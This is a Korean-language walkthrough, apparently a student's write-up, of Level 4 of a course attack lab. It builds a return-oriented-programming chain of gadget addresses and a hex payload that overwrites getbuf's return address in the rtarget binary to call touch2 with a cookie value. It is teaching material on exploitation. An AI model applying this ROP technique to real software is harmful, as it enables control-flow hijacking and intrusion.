Level 4와 5는 ctarget
이 아닌 rtarget
파일을 공격해야 한다. ctarget
과는 다르게 address randomization을 사용하여 내가 삽입한 코드가 메모리의 어느 위치에 들어가는지를 예측하고 공격할 수 없으며, stack memory는 실행이 불가하도록 되어 있어 code injection을 시도하는 것 또한 불가능하다.
대신 rtarget
에서는 gadget을 이용한 return-oriented programming을 을 시도하여야 한다. 이미 존재하는 machine code의 일부를 잘라서 원래와는 다른 목적으로 이용하는 것이다. Level 4의 경우 ctarget
파일을 공격했던 Level 2와 같은 문제이지만, 설명한 것과 같이 제한조건이 있기 때문에 다른 방식의 공격을 통해 해결하는 것을 목표로 한다.
Level 2의 풀이를 다시 생각해보자.
movl $0x59b997fa, %edi # %edi에 cookie값을 대입
retq
를 수행하는 exploit code를 넣고, return address를 덮어씌워 getbuf()
가 return을 하면 exploit code를 실행하도록 만들어 주었다. 또한 그 다음 return 주소 또한 덮어씌워서, exploit code의 return이 실행되면 touch2()
를 실행시키도록 만들었다. 이를 제한된 set의 gadget들만 활용하여 어떻게 흉내낼지 고민해봐야 한다.
우선 cookie값을 대입하는 $0x59b997fa, %edi
와 같은 instruction은 불가능하다. 대신 popq
를 사용할 수 있다고 했으므로, 입력으로 stack의 맨 위에 cookie 값을 넣어준 후 해당 값을 pop하는 방법이 있을 것이다. 즉 입력에는 다음의 아스키 코드를 갖는 문자열이 들어가야 한다.
fa 97 b9 59 00 00 00 00
다음으로는 popq
를 수행하는 machine code를 gadget farm에서 구해와야 한다. 친절하게도 pdf 설명 파일에 표로 다 나와있다.
표와 대조해보니, disassemble한 파일에서 이런 부분이 눈에 띈다.
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
0x4019ab
로 가서 58 90 c3
만을 실행시키면 90
은 nop
이므로 pop %rax
와 retq
만 실행된다! 그런데 우리는 cookie 값을 %rax
가 아닌 %edi
에 넣어야 하므로 그런 일을 해주는 코드가 있어야 한다.
또 정확하게 매치되는 부분이 있다! 0x4019c5
로 가서 movq %rax, %rdi
를 해준 후에 retq
를 해서 touch2()
가 실행되도록 하면 된다.
정리하자면, 우리는 총 세 번의 retq
를 실행한다. 첫 번째는 0x4019ab
로 가서pop %rax
를 하기 위한 것, 두 번째는 0x4019c5
로 가서 movq %rax, %rdi
를 실행하기 위한 것이다. 마지막으로는 touch2()
의 주소인 0x4017ec
로 가야 한다. 이것에 맞춰서 stack frame
을 덮어씌워줘야 한다. getbuf()
를 보자.
stack frame의 크기가 0x28
이므로 40글자 이상을 써서 return address를 덮어씌우자.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 # 첫번째 return address fa 97 b9 59 00 00 00 00 # cookie 값; popq %rax를 위해 필요 c5 19 40 00 00 00 00 00 # 두번째 return address ec 17 40 00 00 00 00 00 # touch2의 address
이를 ./hex2raw
로 문자열으로 바꾼 후 넣어주면 성공이다.